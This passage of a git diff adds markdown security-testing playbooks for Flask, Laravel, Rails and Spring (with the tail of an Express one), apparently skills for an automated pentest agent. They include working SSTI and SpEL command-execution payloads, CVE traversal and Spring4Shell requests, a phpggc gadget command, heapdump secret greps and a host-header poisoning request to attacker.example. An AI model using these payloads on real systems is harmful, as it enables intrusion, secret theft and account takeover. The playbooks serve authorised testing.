headers alone +- Wildcard CORS without credentials serving public data +- `sendFile` rejecting `..` traversal (normalization) while echoing the path in the error +- Middleware "gap" that a later auth check still covers + +## Impact + +- RCE via template injection, command injection, or deserialization chains +- Account/data compromise via prototype-polluted auth flags or mass assignment +- File disclosure of source and secrets via traversal +- Data exfiltration via SSRF and CORS flaws + +## Pro Tips + +1. Read `package.json` first when source is available - vulnerable versions (`qs <1.x`, old `lodash`, `ejs`) shortcut whole classes +2. Test prototype pollution before auth logic: `?__proto__[isAdmin]=true` is the fastest check on many apps +3. Middleware order is the #1 Express auth bug - verify auth runs before *every* route it should protect +4. Check static roots for source maps and `.env`; they are the highest-signal finds on Express apps +5. Combine with `prototype_pollution`, `ssti`, `mass_assignment`, `ssrf`, and `command_injection` skills for payload depth + +## Summary + +Express apps fail at composition: middleware order, permissive parsers, user-controlled template options, and trusted headers. Map the route/middleware tree, probe parsers for prototype pollution, test render/static sinks, and validate authz at every route - then chain to impact with the class-specific skills. diff --git a/strix/skills/frameworks/flask.md b/strix/skills/frameworks/flask.md new file mode 100644 index 000000000..fb5f1ebd9 --- /dev/null +++ b/strix/skills/frameworks/flask.md @@ -0,0 +1,139 @@ +--- +name: flask +description: Security testing playbook for Flask/Werkzeug applications covering debug-mode PIN RCE, session forgery, SSTI, and common misconfigurations +--- + +# Flask / Werkzeug + +Flask is Python's most popular microframework. Its session cookie is signed (not encrypted) with `SECRET_KEY`, its dev server ships a debugger whose PIN is derivable from machine fingerprints, and its template engine (Jinja2) is a favorite SSTI target. A leaked secret key, an enabled debugger, or a single `render_template_string` call turns a small app into RCE. + +## Attack Surface + +- `SECRET_KEY` handling: hardcoded in source, `.env`, config files, or weak/guessable values +- Debug mode (`app.run(debug=True)`, `FLASK_DEBUG=1`): Werkzeug debugger console at `/console` with PIN auth +- Template rendering: `render_template_string`, `render_template` with user-controlled template names/context +- Session cookies: signed with `itsdangerous`; contents readable (base64) and forgeable with the key +- Routes/params: `request.args`, `request.form`, `request.json`, `request.values` into queries, files, shell, URLs +- File handling: `send_file`, `send_from_directory`, uploads (`secure_filename` misuse), static folders +- Auth: `flask-login`, session-based auth, `@login_required` ordering, `before_request` gaps +- SQLAlchemy ORM and raw SQL; `jsonify`/`pickle`/`yaml` deserialization in APIs + +## Reconnaissance + +1. **Fingerprint**: `Server: Werkzeug/ Python/` header, 404/500 page shapes, debugger badge when debug is on +2. **Probe `/console`** - if the Werkzeug debugger loads, PIN auth protects it; the page leaks the debugger version and sometimes the module path +3. **Decode the session cookie** (`flask-unsign --decode --cookie ` or base64) - it often reveals user IDs, roles, and whether the key is short/weak +4. **Source-aware**: grep for `SECRET_KEY`, `render_template_string`, `debug=True`, `pickle`, `eval(`, `subprocess`, `os.system` +5. **Enumerate routes**: `url_map` via source, blackbox via crawl + JS; check `/static`, `/api/*`, `/admin` + +## Key Vulnerabilities + +### Werkzeug Debugger PIN RCE + +With `debug=True` and an exposed `/console`, the console is gated by a PIN derived from `machine-id`, MAC, and `modname`. The PIN is obtainable: + +- From a file read / SSTI / SSRF that leaks `/etc/machine-id` (or `/proc/sys/kernel/random/boot_id`) + MAC + username/module path +- From an error traceback that reveals the filesystem paths needed +- From the known `get_machine_id()` algorithm (compute PIN locally with the same inputs) + +Then execute `import os; os.system('id')` (or a benign proof) in the console. Treat an exposed debugger without PIN enforcement as direct RCE. + +### Session Forgery + +Flask sessions are `itsdangerous` signed cookies. With the key (leaked in source, `.env`, or weak/brute-forced), forge: + +``` +flask-unsign --sign --cookie "{'user_id': 1, 'role': 'admin'}" --secret 'the-secret' +``` + +Even without the key, decode the cookie to find forgeable claims when the app trusts them (e.g., `is_admin` stored client-side). + +### Server-Side Template Injection + +`render_template_string(user_input)` is direct SSTI: + +``` +{{7*7}} +{{config}} +{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} +{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} +``` + +Also test template *name* injection (`render_template(user_input)` with path traversal) and context-attribute abuse when only some values are user-controlled. See `ssti` for the full escape set. + +### Path Traversal / File Disclosure + +- `send_file(user_input)` / `send_from_directory` with user-controlled paths +- `secure_filename` misuse (it strips, but double-encoding or NUL bytes occasionally slip through) +- `/static` misconfig serving `.env`, backups, or source maps + +### Deserialization + +- `pickle.loads` on user data (cookie, API body) -> RCE with a crafted pickle +- `yaml.load` (PyYAML unsafe mode) -> RCE +- Flask-RESTful/Flask-RESTX endpoints that deserialize JSON into models (mass assignment) + +### Auth Flaws + +- `before_request` checks that can be skipped via `@app.route` ordering or blueprint prefixes +- Session user IDs not tied to a server-side record (client-trusted identity) +- Missing `Secure`/`HttpOnly`/`SameSite` on session cookies +- Login rate limiting absent (see `weak_password_detection`) + +### Host Header / Redirect Abuse + +- Password reset/email links built from `request.host`/`request.url_root` -> host-header poisoning (see `header_injection`) +- `next`/`redirect` params with open redirects + +## Advanced Techniques + +- **PIN derivation**: gather `/etc/machine-id` (or boot_id) + MAC address + `modname` ("flask.app") + username, then reproduce the Werkzeug algorithm (public implementations exist) and log into `/console` +- **SECRET_KEY brute force**: short/wordlist keys via `flask-unsign --unsign --wordlist ...` +- **SSTI -> config exfil**: `{{config}}` leaks `SECRET_KEY` even when RCE fails +- **Mass assignment**: JSON bodies with `admin`/`role` fields when models are updated from request data +- **SQLAlchemy injection**: string-built `filter()`/raw `text()` with user input +- **File upload -> code exec**: extension whitelist bypass, `.py` in static, overwriting templates (template path traversal + upload) + +## Testing Methodology + +1. Fingerprint Flask/Werkzeug and check debug status +2. Decode session; test `flask-unsign` against common/leaked secrets +3. Probe `/console` and try PIN derivation when reachable +4. Fuzz `render_template_string`/template-name inputs with `{{7*7}}` first +5. Test `send_file`/uploads/static for traversal +6. Audit auth/session handling; test host-header and redirect sinks +7. Check deserialization endpoints (pickle/yaml) with minimal proofs + +## Validation + +1. SSTI: show `{{7*7}}` -> `49`, then a benign builtin read (`os.getcwd()` or `config['SECRET_KEY']`) +2. Session forgery: log in as another user with a signed cookie, non-destructively +3. Debugger: execute a benign command (`os.getpid()`/`id`) and show output; note that console access equals RCE +4. Traversal: read a real file with the exact payload + +## False Positives + +- Debugger page loads but PIN required and no leak path - note the exposure, not RCE +- Session decodes to claims the server ignores (client-side trust missing) +- `{{7*7}}` rendered by a client-side template engine, not Jinja (check response origin) +- `send_file` normalizes `..` and rejects traversal +- `secure_filename` cleans uploads - extension tricks fail + +## Impact + +- Direct RCE via debugger console or pickle/unsafe-yaml +- RCE/secret theft via SSTI +- Account takeover via session forgery with leaked/weak SECRET_KEY +- Data exposure via traversal and misconfigured static + +## Pro Tips + +1. `{{config}}` before RCE - leaking `SECRET_KEY` is already a finding and enables session forgery +2. Decode every Flask session cookie; client-side identity claims are a classic bug +3. Debug mode is RCE-by-default once the PIN is derivable; prioritize `/console` when present +4. `render_template_string` is the #1 Flask RCE; grep source for it in whitebox mode +5. Pair with `ssti`, `command_injection`, `insecure_deserialization`, and `header_injection` skills + +## Summary + +Flask security is a few primitives deep: the session secret, the debugger, Jinja, and file/deserialization sinks. Decode and forge sessions, chase `SECRET_KEY` and debug PIN, probe template rendering, and validate traversal/deserialization with minimal proofs. diff --git a/strix/skills/frameworks/laravel.md b/strix/skills/frameworks/laravel.md new file mode 100644 index 000000000..29387e3bb --- /dev/null +++ b/strix/skills/frameworks/laravel.md @@ -0,0 +1,138 @@ +--- +name: laravel +description: Security testing playbook for Laravel/PHP applications covering APP_KEY abuse, debug-mode RCE, mass assignment, .env exposure, and Blade/query flaws +--- + +# Laravel / PHP + +Laravel is the most popular PHP framework. Its security hinges on a few artifacts: the `APP_KEY` (used to sign/encrypt cookies and signed URLs), debug mode (Ignition/Whoops error pages), and Eloquent's mass assignment protection. A leaked `APP_KEY` or an exposed `.env` file historically leads straight to RCE, and debug mode turns an error into a file-read/RCE primitive. + +## Attack Surface + +- `.env` exposure: `APP_KEY`, `APP_DEBUG`, `DB_*`, `MAIL_*`, `AWS_*`, `STRIPE_*` at the web root +- Debug mode (`APP_DEBUG=true`): Ignition error pages with log-file access, Whoops dumps, `phpinfo` +- `APP_KEY` abuse: encrypted cookie/XSRF token deserialization (CVE-2018-15133), signed URL forgery, `laravel_session` forgery +- Eloquent mass assignment: `$fillable`/`$guarded` gaps, `Model::create($request->all())`, `update($request->all())` +- Blade templating: `{{ }}` escapes by default but `{!! !!}` and `@php`/`@include` with user input do not +- Query builder/raw SQL: `DB::raw`, `whereRaw`, string concatenation +- File uploads: storage paths, mime/extension validation, symlink tricks +- Routes and middleware: `auth` middleware order, API token handling, signed routes (`signed` middleware) +- Packages: Telescope, Horizon, Nova, Debugbar, Adminer, phpMyAdmin exposed in production + +## Reconnaissance + +1. **Probe for `.env` and config leaks**: `/.env`, `/.env.backup`, `/.env.old`, `/storage/logs/laravel.log`, `/phpinfo.php`, `/.git/config` +2. **Fingerprint**: `X-Powered-By: PHP`, Laravel default error pages, `laravel_session`/`XSRF-TOKEN` cookies, `/api`, `/sanctum/csrf-cookie` (Laravel Sanctum), `vendor/`/`storage/` paths in errors +3. **Check debug mode**: trigger a 404/validation error and look for Whoops/Ignition with file paths and stack traces; test `/ignition/execute-solution` and `/_ignition/execute-solution` endpoints when Ignition is present +4. **Source-aware**: grep for `APP_KEY`, `APP_DEBUG`, `$request->all()`, `create(`, `update(`, `whereRaw`, `DB::raw`, `{!!`, `unserialize`, `Storage::`/`move_uploaded_file` +5. **Enumerate routes**: `php artisan route:list` (whitebox), blackbox via crawl/JS/`swagger` + +## Key Vulnerabilities + +### APP_KEY Leak -> RCE (CVE-2018-15133) + +If `APP_KEY` is exposed (`.env`, debug page, `config` dump) on vulnerable versions (or cookie-session configurations), craft an encrypted Laravel cookie/XSRF token containing a PHP gadget chain: + +``` +phpggc Laravel/RCE1 system 'id' > payload +python3 - <<'PY' +# encrypt payload with APP_KEY (AES-256-CBC + HMAC, base64) into X-XSRF-TOKEN +PY +curl -X POST https://target/ -H 'X-XSRF-TOKEN: ' ... +``` + +The server `unserialize()`s the decrypted value. Without a gadget, the same primitive yields session forgery and signed-URL forgery. + +### Ignition RCE (CVE-2021-3129) + +Older Ignition (`facade/ignition < 2.5.2`) exposed `/_ignition/execute-solution` with a file-path parameter that could reach `php://filter` chains to write a phar and trigger deserialization -> RCE. Fingerprint Ignition first, then apply the documented chain only on confirmed affected versions. + +### `.env` / Config Disclosure + +A readable `.env` is credentials-as-a-finding: database, mail, cache, cloud, and payment keys. Even `APP_DEBUG` alone changes the attack surface (debug pages). + +### Mass Assignment + +Eloquent models with broad `$guarded = []` (or missing `$fillable`) and `$request->all()` pass client-controlled fields straight into the database: + +``` +POST /api/users {"name":"x","is_admin":true,"role":"admin"} +``` + +Test every create/update endpoint for undeclared fields (`admin`, `role`, `verified`, `balance`). See `mass_assignment`. + +### Blade / Template Injection + +- `{!! $userInput !!}` renders unescaped HTML -> XSS +- `@include($userInput)` / `view($userInput)` with user-controlled template names -> file read/LFI or template injection +- `@php` blocks with user data in server-rendered templates + +### SQL Injection + +- `whereRaw`/`DB::raw`/`orderByRaw` with user input +- `->where('col', $request->input('x'))` is safe, but `->whereRaw("col = '$x'")` is not +- Eloquent `firstOrCreate`/`updateOrCreate` with unvalidated attributes + +### Signed URLs + +Laravel signed routes (`URL::signedRoute`, `->signed`) embed an HMAC signature from `APP_KEY`. With the key, forge signatures for arbitrary parameters (e.g., `user_id` in unsubscribe/verify links). With a live app, test whether `expires` and signature are validated on the actual route. + +### Upload Flaws + +- Extension whitelist bypass (`.php.jpg`, `.phtml`, double extensions, case variants) +- Stored uploads under web root with guessed paths +- `Storage::put` with user-controlled filenames -> path traversal in storage + +## Advanced Techniques + +- **Cookie/session decryption**: with `APP_KEY`, decrypt `laravel_session`/XSRF cookies to read and forge session state +- **Signed URL forgery**: reproduce Laravel's `URL::signature` (HMAC-SHA256 over the URL) with the key +- **Telescope/Debugbar exposure**: `/telescope`, `/_debugbar` leak requests, queries, and auth tokens +- **Queue/job abuse**: serialized jobs in queues; if a job unserializes attacker input, RCE (see `insecure_deserialization`) +- **Race on idempotency**: payment/webhook handlers without idempotency keys (see `race_conditions`, `payment_gateways`) +- **Log poisoning -> LFI**: `laravel.log` with attacker-controlled content, then read via debug/file endpoints + +## Testing Methodology + +1. Probe `.env`, debug pages, and Ignition endpoints first - they shortcut everything +2. Fingerprint Laravel/PHP versions from headers/errors/cookies +3. Test mass assignment on every create/update endpoint +4. Audit query builder sinks and Blade output for injection +5. Check signed URLs and session cookies once `APP_KEY` is known or suspected +6. Test uploads and storage paths for traversal/execution +7. Verify debug/package exposures (Telescope, Debugbar, Adminer) + +## Validation + +1. `.env`/config disclosure: show real credentials and their impact (DB login, payment key) +2. Mass assignment: create/update with an undeclared privileged field and show server-side effect +3. CVE paths: only exploit confirmed versions; show a benign command/marker proof +4. SQLi: standard in-band/blind proof (see `sql_injection`) +5. Signed URL: forge a signature for a parameter the app honors (e.g., user ID in a verification link) + +## False Positives + +- `.env` returned as a 404/SPA fallback page (200 with app HTML, not the file) +- `APP_DEBUG` false - Ignition/Whoops not exploitable, but stack traces may still leak paths +- Mass assignment rejected by `$fillable` (no effect) or `$guarded` fields silently dropped +- Blade `{!! !!}` rendering server-side templates without user input (no injection point) +- Signed URL rejected due to `expires`/signature validation + +## Impact + +- RCE via APP_KEY deserialization or Ignition on affected versions +- Credential theft and lateral movement via `.env`/config disclosure +- Account/role takeover via mass assignment +- Data theft via SQLi, file reads, and log leaks + +## Pro Tips + +1. `.env` is the crown jewel - always probe it before anything else on a PHP app +2. Test mass assignment fields on *every* write endpoint; `$guarded` is often missing or empty +3. `APP_KEY` exposure is a finding even when RCE chains fail - session and signed-URL forgery remain +4. Check `APP_DEBUG` behavior deliberately: trigger errors and read the page source for leaked paths/config +5. Pair with `mass_assignment`, `sql_injection`, `insecure_deserialization`, `ssti`, and `insecure_file_uploads` skills + +## Summary + +Laravel attacks start with the artifacts: `.env`, `APP_KEY`, debug/Ignition pages. Then hunt mass assignment on every write path, raw SQL and Blade sinks, signed-URL forgery, and exposed dev packages. Prove each with real requests and minimal impact. diff --git a/strix/skills/frameworks/rails.md b/strix/skills/frameworks/rails.md new file mode 100644 index 000000000..cefb82876 --- /dev/null +++ b/strix/skills/frameworks/rails.md @@ -0,0 +1,161 @@ +--- +name: rails +description: Security testing playbook for Ruby on Rails applications covering mass assignment, params parsing, signed-cookie forgery, host header abuse, and known CVEs +--- + +# Ruby on Rails + +Rails is a batteries-included MVC framework whose conventions protect developers - until a convention is bypassed. Classic Rails bugs come from strong-parameters gaps (mass assignment), permissive params parsers (YAML/XML deserialization), `secret_key_base` leaks (cookie forgery), and host-header handling (password-reset poisoning). Rails has also shipped a string of famous path traversal/file-read CVEs that are worth checking by version. + +## Attack Surface + +- Params parsing: JSON/XML content types that hit `ActionDispatch::ParamsParser` (YAML deserialization in old versions), nested/array params +- Mass assignment: missing `strong_parameters` (`permit` gaps, `params.require(:user).permit!`), `attributes=`/`update_attributes` with unfiltered hashes +- Sessions: signed cookies (Marshal in old versions, JSON in new), `secret_key_base`, cookie flags +- Host header: `request.host`/`url_for`/`default_url_options` in mailers and redirects +- Asset pipeline: Sprockets file disclosure (CVE-2018-3760), Action View file reads (CVE-2019-5418) +- Template rendering: `render inline:`, ERB in mailers/templates, unsafe `render file:` +- Query interfaces: string-built `where`, `order`, `pluck` with user input +- File handling: `send_file`/`send_data` with user paths, uploads (CarrierWave/ActiveStorage) filename handling +- Known CVEs by version: CVE-2013-0156 (params YAML deserialization), CVE-2018-3760 (Sprockets), CVE-2019-5418 (Action View accept header), CVE-2020-8163 (mailer command injection), CVE-2022-32209 (Rack multipart parsing DoS) + +## Reconnaissance + +1. **Fingerprint Rails**: `X-Runtime`, `ETag`/`Cache-Control` patterns, `_rails`/`_session` cookie names, Rails 404/500 pages, `rails` version via error pages/`public/assets` digests +2. **Probe params parsers**: send `Content-Type: application/xml` and `application/yaml` with nested payloads; observe 400/parse errors and whether hash keys become model attributes +3. **Source-aware**: grep `permit!`, `params[:x]` direct into `create/update`, `render inline`, `render file`, `where("...")`, `send_file`, `secret_key_base`, `config.force_ssl` +4. **Inspect cookies**: decode the Rails session cookie; on old versions it is Marshal (can be signed/encrypted), on new versions JSON - look for forgeable user/role claims +5. **Map routes**: `bin/rails routes` (whitebox), or crawl + `routes`-derived endpoints blackbox + +## Key Vulnerabilities + +### Mass Assignment + +Rails 3-era `attr_accessible` gaps and modern `strong_parameters` mistakes: + +``` +POST /users {"user": {"name": "x", "admin": true}} +``` + +Check every write endpoint for undeclared attributes (`role`, `admin`, `balance`, `account_id`). `permit!` or `params.require(:user).permit(...).except(:id)` are common root causes. See `mass_assignment`. + +### Params Parser Deserialization (CVE-2013-0156) + +Old Rails (< 4.0) parsed `application/xml` with `ActiveSupport::XMLConverter` and `application/yaml` params, leading to `YAML.load` deserialization RCE: + +``` +POST /users/sign_in HTTP/1.1 +Content-Type: application/xml + + +``` + +Check the Rails version before exploiting; this is a historical CVE but still worth knowing for legacy codebases. + +### Signed Cookie / Session Forgery + +With `secret_key_base` (leaked via env, source, or backups), forge the Rails session cookie: + +``` +# v4+: signed JSON cookie, base64 + "--" + HMAC-SHA256 digest +``` + +Even without the key, decode cookies to find client-trusted identity fields. Test whether the app validates the session against server state. + +### Host Header Poisoning + +Password-reset and confirmation mailers built from `request.host`/`url_for` trust the `Host` header: + +``` +GET /password/new HTTP/1.1 +Host: attacker.example +``` + +If the reset link uses the poisoned host, the victim's reset token is sent to the attacker's URL (see `header_injection` for payloads and validation). + +### File Disclosure CVEs + +- **CVE-2019-5418** (Action View < 5.2.2.1): path traversal via `Accept` header when a template renders with `render file:`: + ``` + GET /some_path HTTP/1.1 + Accept: ../../../../../../etc/passwd{{ + ``` +- **CVE-2018-3760** (Sprockets < 3.7.2): `%2e%2e%2f` traversal in the asset pipeline to read files: + ``` + GET /assets/file:%2e%2e%2f%2e%2e%2fetc/passwd + ``` + +Version-check before testing; patched apps reject these. + +### Template / Mailer Injection + +- `render inline: user_input` -> ERB injection (see `ssti`) +- `render file: user_input` -> arbitrary file render (CVE-2019-5418 class) +- `render html:`/`render json:` with unescaped user data -> XSS/JSONP +- Mailer command injection (CVE-2020-8163) in `deliver_later` with user-controlled email addresses on affected versions + +### SQL Injection + +- `Model.where("name = '#{params[:name]}'")`, `order(params[:sort])`, `group`/`pluck` with string input +- `find_by_sql`/`sanitize_sql` misuse +- PostgreSQL-specific `||`/`json` functions in string-built queries + +### Unsafe Query / Reflection + +- `send(params[:method])` in controllers -> arbitrary method invocation +- `constantize`/`classify` on user input -> class/object instantiation +- `find(params[:id])` gaps: `find_by` vs `find` behaviors, negative/array IDs + +## Advanced Techniques + +- **Session cookie without secret**: try default/empty `secret_key_base` (legacy), leaked keys from env dumps, and wordlist brute force for short keys +- **Strong params bypass**: array/nested params (`user[admin]=1`), JSON body with string keys, duplicate keys (`user[role]=user&user[role]=admin` - last wins), `_method` override +- **CSRF via `_method`**: hidden `_method=PATCH`/`DELETE` on simple content types (see `csrf`) +- **Cache + host header**: poison cached password-reset pages (see `web_cache_poisoning`) +- **YAML/ERB in mailers**: mailer templates are ERB - user-controlled values reaching `render`/layout names can inject + +## Testing Methodology + +1. Fingerprint Rails version from headers/errors/assets +2. Decode session cookies; check for client-trusted claims and secret usage +3. Test params parsers (JSON/XML/YAML content types) on every write endpoint +4. Audit strong parameters in source, or blackbox-test undeclared fields per endpoint +5. Probe host-header sinks (password reset, redirects, mailers) +6. Version-check and test the known file-disclosure CVEs +7. Fuzz `render`/`send_file`/`where`/`order` sinks +8. Validate every finding with exact request/response pairs + +## Validation + +1. Mass assignment: two-account or baseline-diff proof that an undeclared attribute persisted +2. Host header: show a reset/redirect URL generated with the attacker host +3. File read: read a real sensitive file (`/etc/passwd`, `config/database.yml`, `secret_key_base` sources) +4. Session forgery: authenticate as another user with a forged cookie (minimal, non-destructive) +5. SQLi: standard evidence per `sql_injection` + +## False Positives + +- Mass-assigned field silently dropped by `permit`/`strong_parameters` (no DB change) +- Rails session cookie contains claims the app does not trust server-side +- `Accept` header traversal rejected on patched Action View +- Host header accepted by app but reset links/redirects use `default_url_options` or a fixed host +- `render inline:` present but with no user-controlled input + +## Impact + +- RCE via params deserialization on legacy versions or template injection +- Account takeover via forged sessions or host-header reset poisoning +- Data disclosure via the file-read CVEs and traversal +- Privilege escalation via mass assignment + +## Pro Tips + +1. Version-check before CVE testing - Rails patches fast, and unpatched targets are increasingly rare +2. Decode every Rails session cookie; client-trusted claims are a fast account-takeover path +3. Test host-header poisoning against every mailer-driven flow (reset, confirm, invite) +4. Strong-params gaps are the most common *current* Rails bug - test every write endpoint +5. Pair with `mass_assignment`, `ssti`, `insecure_deserialization`, `header_injection`, and `sql_injection` skills + +## Summary + +Rails security follows conventions: where strong parameters are bypassed, where params parsers deserialize, where the host header reaches mailers, and where `secret_key_base` leaks. Version-check known CVEs, decode cookies, test every write endpoint for mass assignment, and validate with exact proofs. diff --git a/strix/skills/frameworks/spring.md b/strix/skills/frameworks/spring.md new file mode 100644 index 000000000..6fcdc4631 --- /dev/null +++ b/strix/skills/frameworks/spring.md @@ -0,0 +1,149 @@ +--- +name: spring +description: Security testing playbook for Spring/Spring Boot applications covering actuator exposure, SpEL injection, Spring4Shell, JDBC deserialization, and heapdump secrets +--- + +# Spring / Spring Boot + +Spring Boot is the default for Java microservices, and its superpower - auto-configuration - ships a pile of management endpoints (`/actuator/*`) that are often left exposed. Beyond that, Spring's data binding (which made Spring4Shell possible), SpEL evaluation, and Java deserialization chains make it one of the highest-value Java targets: an exposed actuator, a heapdump, or a `@RequestParam` reaching an expression evaluator can end the assessment. + +## Attack Surface + +- Actuator endpoints: `/actuator`, `/actuator/env`, `/actuator/heapdump`, `/actuator/beans`, `/actuator/mappings`, `/actuator/configprops`, `/actuator/health`, `/actuator/info`, `/actuator/loggers`, `/actuator/threaddump`, `/actuator/scheduledtasks`, `/actuator/jolokia`, `/actuator/gateway/routes`, `/actuator/refresh`, `/actuator/restart`, `/actuator/shutdown` (older: `/env`, `/dump`, `/trace`, `/mappings`, `/beans`, `/configprops`, `/metrics`) +- Data binding: `@RequestParam`/`@ModelAttribute`/`@RequestBody` into POJOs and nested objects (Spring4Shell class) +- Expression evaluation: SpEL in `@Value`/`#{...}`, `SpelExpressionParser`, Spring EL in security annotations, template engines (Thymeleaf with SpEL) +- Deserialization: Java native serialization, XStream, Jackson polymorphic typing, H2 console, JDBC `rowSet`/`datasource` URLs +- Swagger/OpenAPI exposure, H2 console (`/h2-console`), Jolokia JMX, Spring Cloud Gateway routes +- Whitelabel error pages leaking exception classes and paths +- Spring Security misconfiguration: `permitAll` on actuators, method-security gaps, JWT/JWKS handling, CORS + +## Reconnaissance + +1. **Probe actuator endpoints** with a wordlist of the paths above; status 200 vs 404 vs 401/403 tells you exposure vs protection +2. **Fingerprint**: `X-Application-Context`, whitelabel error page, `Spring` in headers, actuator JSON shapes, `Server: Apache Tomcat` +3. **Download `/actuator/heapdump`** if present - it contains env secrets, tokens, and connection strings (analyze below) +4. **Read `/actuator/env`** for plaintext secrets (database passwords, API keys, `SECRETS`) and config sources +5. **Read `/actuator/mappings`** for the complete route inventory - it is the app's own API spec +6. **Source-aware**: grep for `SpelExpressionParser`, `@Value("${...}")`, `Runtime.exec`, `ObjectInputStream`, `readObject`, `@RequestParam` binding into domain objects, `actuator` config in `application.yml` + +## Key Vulnerabilities + +### Exposed Actuators + +- `/actuator/env` leaks secrets and lets you see every `application.properties`/env override +- `/actuator/heapdump` leaks the live JVM heap: passwords, tokens, keys (analyze below) +- `/actuator/mappings` reveals every controller route and method +- `/actuator/beans`/`/configprops` reveal internal beans and configuration values +- `/actuator/jolokia` can expose JMX MBeans (older CVEs enabled RCE via `Logback`/`reloadByURL`) +- `/actuator/gateway/routes` on Spring Cloud Gateway -> route inventory and, with write access, SpEL injection (CVE-2022-22947) +- `/actuator/restart`/`/shutdown` -> availability impact + +### Spring4Shell (CVE-2022-22965) + +Unauthenticated RCE via data binding on JDK 9+ + Tomcat WAR deployments (Spring < 5.2.20/5.3.18): + +``` +POST /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20...&...=... HTTP/1.1 +Content-Type: application/x-www-form-urlencoded +``` + +The chain sets the Tomcat `AccessLogValve` `pattern`/`suffix`/`directory`/`prefix` via nested binding to write a JSP webshell. Version-gate before testing (affected: Spring Framework 5.3.0-5.3.17, 5.2.0-5.2.19, older, on JDK 9+ and WAR packaging). Also probe the simpler data-binding sanity check first (`?class.module.classLoader.URLs[0]=...` behavior) to avoid noisy payload spraying. + +### SpEL Injection + +User input reaching `SpelExpressionParser` or Spring EL (`#{...}`) evaluates as expressions: + +``` +T(java.lang.Runtime).getRuntime().exec('id') +new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter("\\A").next() +``` + +Also check `@RequestParam` values interpolated into SpEL in Thymeleaf (`${...}` + `#{...}`) and Spring Cloud Gateway route predicates/filters. + +### Java Deserialization + +- Native `ObjectInputStream` on request bodies/cookies -> ysoserial gadget chains (CommonsCollections, Spring, Groovy) +- Jackson with `default typing` enabled -> polymorphic deserialization RCE +- XStream/`@XStreamImplicit` -> CVE-2017-9805 class +- H2 console (`/h2-console`) with `CREATE ALIAS` + `javax.naming.InitialContext` -> JNDI/RCE when reachable +- JDBC URL injection: attacker-controlled `jdbc:...` URLs (H2, Derby, PostgreSQL) can execute code on connect + +### Mass Assignment via Data Binding + +Spring binds request params to object graphs by convention: + +``` +POST /api/user?role=admin&active=true HTTP/1.1 +``` + +If the handler binds `@ModelAttribute User` without whitelisting, undeclared fields (role, balance, tenant) bind directly. Spring4Shell is the extreme form of the same mechanism. See `mass_assignment`. + +### Whitelabel / Error Information Disclosure + +Default error pages leak exception class names, file paths, and sometimes bean/message details. They also fingerprint exact Spring/Tomcat versions for CVE matching. + +### Spring Security Gaps + +- Actuators on `permitAll`, or behind a proxy that strips the auth header +- Method security (`@PreAuthorize`) missing on controller methods (BFLA) +- JWT with `none`/weak algorithms, or JWKS URL SSRF (see `authentication_jwt`, `ssrf`) +- CORS reflect + credentials (see `cors_misconfiguration`) + +## Advanced Techniques + +- **Heapdump analysis**: download `/actuator/heapdump`, then: + ``` + strings heapdump | grep -iE 'password|secret|token|apikey|jdbc' + # or Eclipse MAT / jhat for object-level extraction + ``` + Prefer `strings` + targeted greps for speed; MAT for structured extraction of `char[]` secrets +- **Jolokia/Logback**: with write access to `/actuator/jolokia`, `reloadByURL` can pull a malicious logback config (historical RCE path; version-gate) +- **Gateway SpEL**: Spring Cloud Gateway < 3.1.1/3.0.7 - `POST /actuator/gateway/routes/{id}` with a SpEL filter -> RCE (CVE-2022-22947); check actuator write methods before assuming read-only +- **`/actuator/env` write (POST)**: on some configs, POSTing `{ "name": "x", "value": "y" }` sets env props (e.g., `spring.cloud.bootstrap.location` to a remote config) -> property manipulation +- **Log4Shell context**: Spring Boot apps commonly run Log4j2 - test `${jndi:...}` interpolation on user-controlled log fields only on confirmed vulnerable versions (CVE-2021-44228); prefer OAST evidence + +## Testing Methodology + +1. Probe the actuator surface and version-fingerprint +2. Pull `/actuator/env`, `/actuator/heapdump`, `/actuator/mappings` when exposed; extract secrets and routes +3. Test data binding: mass assignment fields, then Spring4Shell preconditions (JDK 9+/WAR/version) before the full chain +4. Fuzz SpEL/expression sinks with benign evaluation probes (`T(java.lang.Math).random()`) +5. Check deserialization endpoints with safe gadget probes or version evidence +6. Audit Spring Security method coverage against the mappings inventory +7. Validate every finding with exact request/response pairs and version evidence + +## Validation + +1. Actuator: show real secrets/routes/beans from the exposed endpoint with minimal disclosure (redact long-lived creds in the report) +2. SpEL: evaluate a benign expression and show the result in the response +3. Mass assignment: persist an undeclared field with a two-account/baseline diff +4. Heapdump: show a concrete secret string found and its source +5. CVE paths: version-gate, then minimal marker proof + +## False Positives + +- Actuator returns 401/403 or is stripped by the proxy - not exposed +- `/actuator` root lists nothing but individual endpoints 404 (no management exposure) +- SpEL in a template that evaluates server-side but never reflects or affects anything +- Data binding rejects undeclared fields (no persistence change) +- Heapdump present but empty/no secrets extractable (still an information-disclosure finding at low severity) +- Whitelabel page leaks a generic message but no actionable version/path data + +## Impact + +- RCE via Spring4Shell, SpEL, deserialization, or Jolokia/gateway paths +- Credential theft from env/heapdump leaks, then lateral movement +- Full route/API inventory disclosure via mappings +- Privilege escalation via data-binding mass assignment + +## Pro Tips + +1. `/actuator/heapdump` + `strings` is the fastest secrets find in Java land - grab it before anything else +2. `/actuator/mappings` is free API documentation; use it to drive authz testing +3. Version-check Spring4Shell carefully (JDK 9+, WAR, Tomcat) before spending a cycle on it +4. Test data binding on every `@ModelAttribute`/POJO handler - it is the modern mass-assignment class +5. Pair with `insecure_deserialization`, `mass_assignment`, `authentication_jwt`, and `ssrf` skills + +## Summary + +Spring Boot assessments start at the actuator surface (env/heapdump/mappings), then move to data binding, SpEL, deserialization, and Spring Security gaps. Pull the inventory and secrets first, version-gate the famous CVEs, and validate with concrete evidence. diff --git a/strix/skills/protocols/grpc.md b/strix/skills/protocols/grpc.md new file mode 100644 index 000000000..21c2185cc --- /dev/null +++ b/strix/skills/protocols/grpc.md @@ -0,0 +1,119 @@ +--- +name: grpc +description: gRPC security testing covering server reflection, grpcurl workflows, authz gaps, protobuf field abuse, and gateway confusion +--- + +# gRPC + +gRPC is an HTTP/2-based RPC framework with Protocol Buffers (protobuf) as the default wire format. Binary payloads and port-based services make it easy to overlook next to HTTP APIs, but the security model is the same: authentication, authorization, and input validation must hold per method. The best news for testers is server reflection - many production servers expose their full service inventory to anyone who asks. + +## Attack Surface + +- gRPC servers on 